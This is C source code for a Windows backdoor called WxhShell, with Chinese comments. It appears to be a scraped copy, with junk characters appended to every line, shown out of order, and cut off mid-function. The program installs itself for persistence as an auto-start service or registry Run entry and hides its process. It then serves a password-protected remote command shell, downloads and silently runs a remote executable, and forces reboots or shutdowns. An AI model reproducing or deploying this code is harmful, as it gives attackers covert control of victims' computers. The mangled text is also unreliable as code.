    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w)zJ $l  
    if(Boot(SHUTDOWN)) LOcZadr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !37I2*+4  
    else { oo &|(+"O_  
    closesocket(wsh); df@NV Ld  
    ExitThread(0); eT3!"+p-F  
    } [>54?4{|.  
    break; 3 mAizq3  
    } 0>td[f  
  // 获取shell XWS]4MB+vm  
  case 's': { a`%`9GD  
    CmdShell(wsh); d/OP+yzgZ  
    closesocket(wsh); e3TKQ (  
    ExitThread(0); -"JmQ Fha  
    break; ?Ce=h+l  
  } S@u46X>  
  // 退出 !(?7V  
  case 'x': { )AkBo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &T0]tzk*,  
    CloseIt(wsh); 6wWhM&Wd  
    break; YlbX_h2S"  
    } 9GCK3  
  // 离开 )G^k$j  
  case 'q': { ^U5N!"6R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }aE'  
    closesocket(wsh); xO>z )3A  
    WSACleanup(); %|}*xMQ  
    exit(1); '#3FEo  
    break; Y=G`~2Pr=  
        } )M+po-6$1  
  } {!wW,3|Pu  
  } HYGd :SeH  
p:y\{k"  
  // 提示信息 =O0A(ca"g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vlz\n  
} Lg!E  
  } 3\j`g  
4Xa] yA =  
  return; :FS5BT$=  
} b7\>=  
b<~8\\ &  
// shell模块句柄 ^`id/  
int CmdShell(SOCKET sock) uBt ]4d*  
{ pIC'nO_  
STARTUPINFO si; +vxf_*0;  
ZeroMemory(&si,sizeof(si)); \)t//0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H i8V=+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ly8=SIZ   
PROCESS_INFORMATION ProcessInfo; ^SG>VfgC  
char cmdline[]="cmd"; 0~RD@>]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "%D"h  
  return 0; \&kj#)JYA  
} PbZ%[F  
dL% *;   
// 自身启动模式 TCRTC0_}k  
int StartFromService(void) V;MmPNP|  
{ ;a1DIUm'  
typedef struct qCcLd7`$  
{ [HWVS  
  DWORD ExitStatus; qsoq1u,?  
  DWORD PebBaseAddress; uXFI7vV6P  
  DWORD AffinityMask; /mz.HCs  
  DWORD BasePriority; Ro9:kEG$  
  ULONG UniqueProcessId; 6Y ]P7j  
  ULONG InheritedFromUniqueProcessId; ,.ivdg( /  
}   PROCESS_BASIC_INFORMATION; oOND]>  
"y"oV[`  
PROCNTQSIP NtQueryInformationProcess; &Hp*A^M  
ohKoX$|p~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `WL3aI":  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LJ@(jO{z  
vFdI?(c-  
  HANDLE             hProcess; 2@Yu: |d4U  
  PROCESS_BASIC_INFORMATION pbi; >v@3]a i  
1T|")D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `B3-#!2X  
  if(NULL == hInst ) return 0; Izu____  
4w ,&#L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w%qnH e9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X:Wd%CHP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v.8kGF  
n4dNGp7\`  
  if (!NtQueryInformationProcess) return 0; H}~K51  
SF; \*]["f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zW#5 /*@  
  if(!hProcess) return 0; fn 'n'X|  
]vf0f,F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3>7{Q_5  
auAz>6L  
  CloseHandle(hProcess); k;cX,*DIn  
2#5Q~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )cizd^{  
if(hProcess==NULL) return 0; .qohHJ&  
na $MR3@e  
HMODULE hMod; Xn=yC Pi  
char procName[255]; kB CU+FC  
unsigned long cbNeeded; - JEPh!oTt  
s(fkb7W,gO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KH?6O%d  
}[z7V  
  CloseHandle(hProcess); sz270k%[  
U=KUx  
if(strstr(procName,"services")) return 1; // 以服务启动 PUO7Z2  
S>T ;`,  
  return 0; // 注册表启动 +|dL R*s  
} ~ 2Hw\fx  
Axb=1_--  
// 主模块 ]QJ5JtD-  
int StartWxhshell(LPSTR lpCmdLine) 7c(j1:Ku-  
{ s) s9Z,HY  
  SOCKET wsl; uVD^X*  
BOOL val=TRUE; z{Yfiv\-r  
  int port=0; H[?S*/n,<  
  struct sockaddr_in door; [>dDRsZ  
``g  
  if(wscfg.ws_autoins) Install(); AP>n-Z|  
>>J$`0kM*  
port=atoi(lpCmdLine); ,}W|cm>  
(kO(R#M  
if(port<=0) port=wscfg.ws_port; o?/H<k\5  
08jk~$%  
  WSADATA data; P^F3,'N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \e4AxLP  
}U'9 d#N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9a=:e=q3#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7WSP0Xyz  
  door.sin_family = AF_INET; C=oeRc'r1W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AlDp+"|  
  door.sin_port = htons(port); +|g*<0T5<  
rQT%~oM:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LYYz=oZOE!  
closesocket(wsl); 0U% tjYk(  
return 1; .u ikte  
} Y5CkCF  
\8ZVI98  
  if(listen(wsl,2) == INVALID_SOCKET) { A/a=)s u  
closesocket(wsl); CB>W# P%  
return 1; BJ3<"D{.*4  
} O, eoO,gB  
  Wxhshell(wsl); )b]!IP3  
  WSACleanup(); ENqZ=Lyq  
%pxJ27Q  
return 0; rlh:| #GTJ  
y-H9fWi8Y&  
} kw z6SObQ  
`,~'T [  
// 以NT服务方式启动 \(Nx)F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j<!dpt  
{ a Tm R~k  
DWORD   status = 0; z0\ $# r^I  
  DWORD   specificError = 0xfffffff; tQNc+>7k+u  
$2*_7_Qb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O95gdxc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aKW-(5<JW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :D3:`P>,c  
  serviceStatus.dwWin32ExitCode     = 0;  1hi  
  serviceStatus.dwServiceSpecificExitCode = 0; 93.\.&L\  
  serviceStatus.dwCheckPoint       = 0; w6> P[oW  
  serviceStatus.dwWaitHint       = 0; 1l)j(,Zd*  
#E Bd g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u!~kmIa4  
  if (hServiceStatusHandle==0) return; rd%uc~/  
Z >R@  
status = GetLastError(); _oa*E2VN  
  if (status!=NO_ERROR) a.UYBRP/l  
{ Pm^FSw"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 99:.j=  
    serviceStatus.dwCheckPoint       = 0; #w5%^ HwO  
    serviceStatus.dwWaitHint       = 0; tR9iFv_  
    serviceStatus.dwWin32ExitCode     = status; ?m 5"|f\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'z}9BGR !  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ZaaBg  
    return; 4w9=z,  
  } d5LBL'/o  
6v scu2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X6B,Mply  
  serviceStatus.dwCheckPoint       = 0; Qh8pOUD0l}  
  serviceStatus.dwWaitHint       = 0; p3-~cr.LD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "h1ek*(?<  
} %$b}o7U"s  
UzSDXhzObf  
// 处理NT服务事件,比如:启动、停止 /#{~aCOi)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qB@N|Bb  
{ $;=^|I4E  
switch(fdwControl) ktfxb <%  
{ J3oUtu  
case SERVICE_CONTROL_STOP: n4{?Odrf  
  serviceStatus.dwWin32ExitCode = 0; 4IOqSB|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &x*l{s[  
  serviceStatus.dwCheckPoint   = 0; J80&npsO  
  serviceStatus.dwWaitHint     = 0; #+Bz$CO  
  { }+`,AC`RM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q: -&  
  } njJTEUd">  
  return; 7Cz=;  
case SERVICE_CONTROL_PAUSE: d^~yUk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rq2bj_j  
  break; h*<`ct xL  
case SERVICE_CONTROL_CONTINUE: .#tA .%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !a V:T&6  
  break; 5G2ueRVb  
case SERVICE_CONTROL_INTERROGATE: < <0[PJ  
  break; D` cy.},L  
}; 5IzCQqOPgX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T,/<'cl"  
} ;^E\zs  
U74L:&y LI  
// 标准应用程序主函数 9_svtO]P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @S~n^v,)  
{ \cX9!lHl  
%sZ3Gpi  
// 获取操作系统版本 t6e6v=.Pg  
OsIsNt=GetOsVer(); Y/m-EL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )iIsnM  
t vW0 W  
  // 从命令行安装 $u,A/7\s  
  if(strpbrk(lpCmdLine,"iI")) Install(); B&KIM{j\  
BUi,+NdIk  
  // 下载执行文件 Cv>~%<   
if(wscfg.ws_downexe) { h0 %M+g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D=D.s)ns*  
  WinExec(wscfg.ws_filenam,SW_HIDE); $@^\zg1n  
} H%=;pD>o  
Xe`$SNM  
if(!OsIsNt) { ^f(El(w  
// 如果时win9x,隐藏进程并且设置为注册表启动 4R01QSbd  
HideProc(); fCs{%-6cP  
StartWxhshell(lpCmdLine); 75P!`9bE  
} -; d{}F  
else 96!2 @c{  
  if(StartFromService()) XF3lS#pt  
  // 以服务方式启动 tycVcr \(  
  StartServiceCtrlDispatcher(DispatchTable); 1 Cz}|#U  
else !p36OEx  
  // 普通方式启动 X H!n{Of  
  StartWxhshell(lpCmdLine); d{WOO)j  
.}!.: |  
return 0; 3h o'\Ysu/  
} .VmRk9Z  
J1M9) ,  
9}K K]m6u}  
h3\(660>$  
=========================================== &'i.W}Ib!  
3WGOftLzt  
5Em.sz;:8  
gm:Y@6W  
u  XZ;K.  
kyYU 1gfh  
" %[L/JJbP&Z  
& R<K>i  
#include <stdio.h> HDE5Mg "  
#include <string.h> ]d|M@v~c4  
#include <windows.h> R5},E  
#include <winsock2.h> N/2WUp  
#include <winsvc.h> CAA 3-"Cwi  
#include <urlmon.h> Y!(w.G  
7oL:C  
#pragma comment (lib, "Ws2_32.lib") %6V=G5+W  
#pragma comment (lib, "urlmon.lib") ,(hP /<  
vON7~KA  
#define MAX_USER   100 // 最大客户端连接数 #~|esr/wf  
#define BUF_SOCK   200 // sock buffer Mac:E__G  
#define KEY_BUFF   255 // 输入 buffer `09[25?  
p NQ@aJ  
#define REBOOT     0   // 重启 &=Y%4 vq  
#define SHUTDOWN   1   // 关机 5Tidb$L;Du  
n-wOLH  
#define DEF_PORT   5000 // 监听端口 H\<PGC"_Y  
|`I9K#w3  
#define REG_LEN     16   // 注册表键长度 }U%E-:  
#define SVC_LEN     80   // NT服务名长度 3][   
us:v/WTQ  
// 从dll定义API op&j4R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S!R (ae^}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `X =[ m>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s9u7zqCF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (r<F@)J  
& )-fC  
// wxhshell配置信息 G" (ck4  
struct WSCFG { *li5/=UC5*  
  int ws_port;         // 监听端口 +&1#ob"6lq  
  char ws_passstr[REG_LEN]; // 口令 -)ri,v{:c  
  int ws_autoins;       // 安装标记, 1=yes 0=no ']X0g{%  
  char ws_regname[REG_LEN]; // 注册表键名 m[N&UM#  
  char ws_svcname[REG_LEN]; // 服务名 bg|=)sw4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \w$e|[~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !83 N#Y_Mz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UrS%t>6k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WL\*g] K4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ej(w{vl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vL;=qk TCQ  
bGj<Dojl  
}; ?U*sH2F  
ufA0H J)Yg  
// default Wxhshell configuration 7Z81+I|&8  
struct WSCFG wscfg={DEF_PORT, G1,u{d-_  
    "xuhuanlingzhe", |;C;d"JC2  
    1, THwq~c'  
    "Wxhshell", Pn}oSCo  
    "Wxhshell", dTU`@!f  
            "WxhShell Service", (b.Mtd  
    "Wrsky Windows CmdShell Service", lqoVfj'6M  
    "Please Input Your Password: ", w-wJhc|  
  1, (Y?}'?  
  "http://www.wrsky.com/wxhshell.exe", iA"H*0  
  "Wxhshell.exe" /'>ck2drjk  
    }; U}-hV@y  
8 vvNn>Q  
// 消息定义模块 DeN$YE#*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g*%o%Lv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TfNm0=|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H"V)dEm  
char *msg_ws_ext="\n\rExit."; MG,?,1_ &  
char *msg_ws_end="\n\rQuit."; t$uj(y>  
char *msg_ws_boot="\n\rReboot..."; z8PV&o  
char *msg_ws_poff="\n\rShutdown..."; W%#LHluP  
char *msg_ws_down="\n\rSave to "; Q>/[*(.Wd  
%BkPkQA  
char *msg_ws_err="\n\rErr!"; "Z a}p|Ct  
char *msg_ws_ok="\n\rOK!"; 5PKdMEK|q  
sQ82(N7l  
char ExeFile[MAX_PATH]; {1vlz>82  
int nUser = 0; # 9ZO1\  
HANDLE handles[MAX_USER]; )x&>Cf<,  
int OsIsNt; -s:NF;"  
j&,%v+x  
SERVICE_STATUS       serviceStatus; /.1h_[K]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &<5oDdC  
k8ymOx  
// 函数声明 wpJfP_H  
int Install(void); wOl]N2<  
int Uninstall(void); iM{aRFL  
int DownloadFile(char *sURL, SOCKET wsh); h{VGh kU9f  
int Boot(int flag); p-%m/d?  
void HideProc(void); uo^tND4a;j  
int GetOsVer(void); ` H|#l\  
int Wxhshell(SOCKET wsl); ^Pc&`1Ap  
void TalkWithClient(void *cs); tp+H]H3  
int CmdShell(SOCKET sock); [V,f@}m F  
int StartFromService(void); </h}2x  
int StartWxhshell(LPSTR lpCmdLine); z Q11dLjs  
.\AbE*lZ#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H:L<gv(rG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =q*j". <  
v6KF0mqA&  
// 数据结构和表定义 \;Q:a /ur9  
SERVICE_TABLE_ENTRY DispatchTable[] = #mcGT\tQ  
{ (fnp\j3w  
{wscfg.ws_svcname, NTServiceMain}, 0$q)uip  
{NULL, NULL} Yg3emn|a  
}; m[?gN&%nc  
Vg? 1&8>  
// 自我安装 f!##R-A  
int Install(void) HY'-P&H5(  
{ q*K.e5"'  
  char svExeFile[MAX_PATH]; o[K,(  
  HKEY key; |1"n\4$  
  strcpy(svExeFile,ExeFile); h-RL`X  
+# tmsv]2  
// 如果是win9x系统,修改注册表设为自启动 VH$hQPP5d  
if(!OsIsNt) { ]s:%joj%^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #vvQ 1ub  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AU^5N3%j  
  RegCloseKey(key); !qVnziE,,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 gzf$Oc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p EbyQ[  
  RegCloseKey(key); S9S%7pE  
  return 0; .t|B6n!  
    } VpmD1YSn  
  } G>c:+`KS  
} ,hXhcfFl  
else { i@#fyU)[G  
$"]*,=-X  
// 如果是NT以上系统,安装为系统服务 AtW<e;!0te  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W%^;:YQ9i  
if (schSCManager!=0) K)r|oW=6Y  
{ +HNM$yp  
  SC_HANDLE schService = CreateService $/;;}|hqi  
  ( InR/g@n+D1  
  schSCManager, "E )0)A3=  
  wscfg.ws_svcname, !%%(o%bi~  
  wscfg.ws_svcdisp, WkR=(dss8  
  SERVICE_ALL_ACCESS, )Fh5*UC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \L{V|}"X  
  SERVICE_AUTO_START,  q<Zza  
  SERVICE_ERROR_NORMAL, k'JfXrW<!  
  svExeFile, =-|,v*  
  NULL, O4fl$egQU  
  NULL, 8P3"$2q  
  NULL, z;ko )  
  NULL, eUE(vn#  
  NULL '?MT " G  
  ); $^j#z^7  
  if (schService!=0) /L? ia  
  { OtFGo 8  
  CloseServiceHandle(schService); &i?>mt  
  CloseServiceHandle(schSCManager); zsuXN*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wW+@3bPl  
  strcat(svExeFile,wscfg.ws_svcname); $ z 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eJwHeG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *3]_Huw<  
  RegCloseKey(key); vX/("[  
  return 0; b;%>?U`>p  
    } :927y  
  } rGb<7b%  
  CloseServiceHandle(schSCManager); tDIQ=  
} d/Y#oVI  
} wmnh7'|0u  
MGE8S$Z  
return 1; X(*MHBd  
} wPrqFpf  
/[RO>Z9  
// 自我卸载 #[.aj2  
int Uninstall(void)  d| OEZx  
{ %d"d<pvx  
  HKEY key; C6{\^kG^j2  
5>u,Qh  
if(!OsIsNt) { )7s(]~z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x|lX1Mh$  
  RegDeleteValue(key,wscfg.ws_regname); }*9mNE  
  RegCloseKey(key); \olYv!f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I$w:qS&:  
  RegDeleteValue(key,wscfg.ws_regname); Iu|4QE  
  RegCloseKey(key); 'sT7t&v~  
  return 0; Js}1_K  
  } pa8R;A70Dl  
} hX9vtV5L  
} H^r;,Q$9  
else { JOFQyhY0>m  
^^Te  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @K=C`N_22  
if (schSCManager!=0) GZWU=TC2{2  
{ {~cM 6W]f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :ExCGS[  
  if (schService!=0) NY3.?@Z  
  { "1HKD  
  if(DeleteService(schService)!=0) { qe<aJn  
  CloseServiceHandle(schService); ^M6R l0  
  CloseServiceHandle(schSCManager); % "CF-K@th  
  return 0; f'?FYBL  
  } *9O@DF&*6  
  CloseServiceHandle(schService); <b#1L  
  } @Z2^smf  
  CloseServiceHandle(schSCManager); o4F(X0  
} zW9/[Db  
} &ku.Q3xGs  
+nU=)x?38  
return 1; 33z^Q`MTC  
} IB\O[R$x  
}NpN<C+  
// 从指定url下载文件 wlsq[x P  
int DownloadFile(char *sURL, SOCKET wsh) 0 n}2D7  
{ ,y}@I"  
  HRESULT hr; *r(Qy0(  
char seps[]= "/"; {U"=}j(  
char *token; d`9ofw~3=  
char *file; z,xGjS P  
char myURL[MAX_PATH]; yB2}[1  
char myFILE[MAX_PATH]; WiiAIv&  
IC6r?  
strcpy(myURL,sURL); +*L<"@  
  token=strtok(myURL,seps); k$3Iv"gbx  
  while(token!=NULL) Cm%|hk>fQ  
  { </]a`h]  
    file=token; #sM`>KG6T1  
  token=strtok(NULL,seps); / ?Hq  
  } {L/hhKT  
zw[ #B #  
GetCurrentDirectory(MAX_PATH,myFILE); as3*49^9  
strcat(myFILE, "\\"); ;:obg/;uJ  
strcat(myFILE, file); Tnoy#w}Ve  
  send(wsh,myFILE,strlen(myFILE),0); 7&&3@96<*#  
send(wsh,"...",3,0); tE WolO[\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7A"v:e  
  if(hr==S_OK) z9Nial`p  
return 0; ]8f$&gw&A  
else Dgc}T8R  
return 1; q1pB~eg5  
 OEnCN  
} 7Fzj&!>ti  
sT'j36Nc<,  
// 系统电源模块 08G${@D+X0  
int Boot(int flag) U(/8dCyyY  
{ V@o#" gZ  
  HANDLE hToken; TpcJ1*t  
  TOKEN_PRIVILEGES tkp; oLIgj,k{*  
Zk~~`h  
  if(OsIsNt) { 3HqTVq`&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pv8vW'G\E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y^tUcBm\  
    tkp.PrivilegeCount = 1; ;a 6Z=LB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [*U.bRs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H5Bh?mw2  
if(flag==REBOOT) { RA1K$D ?A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RQYD#4|  
  return 0; o1R:1!"2  
} c2Wp 8l  
else { MSE0z !t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MO@XbPZB  
  return 0; {Y|?~ha#  
} ,!dVhG#  
  } 3b[.s9Q  
  else { 9#E)H?`g  
if(flag==REBOOT) { |[!7^tU*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V3(8?Fz.  
  return 0; Ug  )eyu  
} q.VZP  
else { N\anjG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "0LSy x  
  return 0; ?Ta<.j  
} x Nb7VUV7  
} qSt\ 6~  
-ImV Xy]?  
return 1; EY^?@D_<  
} gg/2R?O]  
; )FmN[  
// win9x进程隐藏模块 tyFsnc k  
void HideProc(void) 4%#q.qI  
{ c#-*]6x  
fJ=v?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QXW> }GdKZ  
  if ( hKernel != NULL ) qOv`&%txW  
  { >X xHp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @r=,: 'Mt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '<$*N  
    FreeLibrary(hKernel); :7~DiH:Q  
  } mVEIHzk2b  
;3XOk+  
return; 6)c-s|#  
} re4A5Ev$  
$18?Q+?3  
// 获取操作系统版本 wLzV#8>  
int GetOsVer(void) VTwQD"oB  
{ !j%u wje\  
  OSVERSIONINFO winfo; U/-k'6=M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KL./  
  GetVersionEx(&winfo); |K" nSXzk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DMOP*;Uk  
  return 1; p-xG&CU  
  else +8Y|kC{9"  
  return 0; g7{:F\S  
} dQ_hlx!J  
C3'?E<F  
// 客户端句柄模块 izzX$O[=:  
int Wxhshell(SOCKET wsl) Tgl >  
{ PS8^=  
  SOCKET wsh; V|~o`(]  
  struct sockaddr_in client; U>sEFzBup  
  DWORD myID; eD8e0 D'S  
gVrfZ&XF84  
  while(nUser<MAX_USER) !hjF"Pa  
{ KciN"g|X  
  int nSize=sizeof(client); Ckc5;:b&m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kj6H+@ {  
  if(wsh==INVALID_SOCKET) return 1; #lO ^PK  
[=",R&uD$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `Tei  
if(handles[nUser]==0) C80< L5\  
  closesocket(wsh); b +Z/nfS  
else Ahc9HA2  
  nUser++; D8{ ,}@  
  } U }AIOtUw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6Yc(|>b!  
'j-U=2,n  
  return 0; jYvl-2A'  
} mZG n:f}=  
4;Vi@(G)  
// 关闭 socket DIfQ~O+u  
void CloseIt(SOCKET wsh) GG"6O_  
{ `:C2Cj  
closesocket(wsh); Fy0sn|  
nUser--; L6#4A3yh  
ExitThread(0); }1%%`  
} T$<yl#FY  
3.1%L"r[)  
// 客户端请求句柄 N.0g%0A.D  
void TalkWithClient(void *cs) =dsEt\ j  
{ [%O f  
pRzL}-[/v  
  SOCKET wsh=(SOCKET)cs; nM ?Nf}  
  char pwd[SVC_LEN]; MiR$N  
  char cmd[KEY_BUFF]; ~FQHT?DAo  
char chr[1]; #d06wYz=  
int i,j; uEf=Vj}G  
3 q J00A  
  while (nUser < MAX_USER) { xkU8(=  
u:Ye`]~o  
if(wscfg.ws_passstr) { m'N8[ o|h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wa~zb!y<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /]U;7)  
  //ZeroMemory(pwd,KEY_BUFF); (G/(w%#7_  
      i=0; R>]7l!3^1  
  while(i<SVC_LEN) { |sY  
)0DgFA6k_  
  // 设置超时 q#SEtyJL  
  fd_set FdRead; T "hjL  
  struct timeval TimeOut; wph8ln"C-  
  FD_ZERO(&FdRead); ;mRZ_^V;  
  FD_SET(wsh,&FdRead); oe|8  
  TimeOut.tv_sec=8; b(CO7/e>  
  TimeOut.tv_usec=0; ~y?Nn8+&f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $VB dd~f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dwQ1~  
q]?)c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pouo# 5  
  pwd=chr[0]; %H;}+U]Z  
  if(chr[0]==0xd || chr[0]==0xa) { GzBPI'C  
  pwd=0; ,k=8|=aF  
  break; ~#i2reG5  
  } ' Ttsscv  
  i++; lSlZ^.&  
    } G+Bk!o  
j S[#R_  
  // 如果是非法用户,关闭 socket em5~4;&'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TLp2a<Iy  
} O9E:QN<U`*  
LokH4A17U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J3~%9MCJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j7QK8O$XL  
4/k`gT4  
while(1) { e9 @{[  
wu><a!3`=o  
  ZeroMemory(cmd,KEY_BUFF); /-i m g^^  
H(tC4'tA  
      // 自动支持客户端 telnet标准   D[?;+g/  
  j=0; !icI Rqcf=  
  while(j<KEY_BUFF) { w-2#CX8jY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PTLlLa85<  
  cmd[j]=chr[0]; fQ~TZ:UrU  
  if(chr[0]==0xa || chr[0]==0xd) { TnKv)%VF  
  cmd[j]=0; ]uMZvAjb  
  break; 3;VH'hh_  
  } #ACT&J  
  j++; c;Tp_e@  
    } p5tb=Zg_  
/e[m;+9^&  
  // 下载文件 zi3v, Kq  
  if(strstr(cmd,"http://")) { iETUBZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~[dL:=?c  
  if(DownloadFile(cmd,wsh)) }A,!|m4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KvEv0L<ky  
  else 7s3=Fa:9Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iw=e"6V  
  } `2LmLFkb  
  else { =}kISh  
mXyN{`q=  
